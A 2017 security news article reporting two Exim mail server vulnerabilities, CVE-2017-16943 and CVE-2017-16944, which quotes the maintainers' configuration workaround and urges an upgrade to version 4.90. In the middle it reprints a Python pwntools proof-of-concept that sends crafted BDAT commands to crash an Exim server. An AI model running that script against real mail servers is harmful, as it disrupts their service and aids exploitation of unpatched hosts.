Pierluigi Paganini November 27, 2017

The Exim Internet mail message transfer agent warned of flaws through the public bug tracker, sys admins have to apply the workaround asap.

Exim is a message transfer agent (MTA) developed at the University of Cambridge for use on Unix systems connected to the Internet, it is the most popular MTA on the Internet.

The Internet mail message transfer agent warned of flaws through the public bug tracker, an unfortunate choice to disclose it because the notice could be ignored.

According to the message published on the bug tracker, the first vulnerability, identified as CVE-2017-16943, is a use-after-free bug which could be exploited by an attacker to remotely execute arbitrary code in the SMTP server by crafting a sequence of BDAT commands.

“A remote code execution vulnerability has been reported in Exim, with immediate public disclosure (we were given no private notice). A tentative patch exists but has not yet been confirmed.

With immediate effect, please apply this workaround: if you are running Exim 4.88 or newer (4.89 is current, 4.90 is upcoming) then in the main section of your Exim configuration, set: 

chunking_advertise_hosts = 

That’s an empty value, nothing on the right of the equals. This disables advertising the ESMTP CHUNKING extension, making the BDAT verb unavailable and avoids letting an attacker apply the logic.”

Assigning the empty value to the chunking_advertise_hosts turns off the vulnerable function.

The advisory included a proof-of-concept code that cause the Exim crash because the function pointer, receive_getc is not reset.

# pip install pwntools
from pwn import *

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()

Below the announcement of a second DoS vulnerability, tracked as CVE-2017-16944, affecting the SMTP daemon in Exim 4.88 and 4.89.

The flaw is caused by the improper checking for a ‘.’ character to signify the end of an email when parsing the BDAT data header.

“The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to cause a denial of service (infinite loop and stack exhaustion) via vectors involving BDAT commands and an improper check for a ‘.’ character signifying the end of the content, related to the bdat_getc function.” state the advisory published by the NIST.

Sys admins are recommended to update their installs to the Exim version 4.90.

Pierluigi Paganini

(Security Affairs – MTA, hacking)

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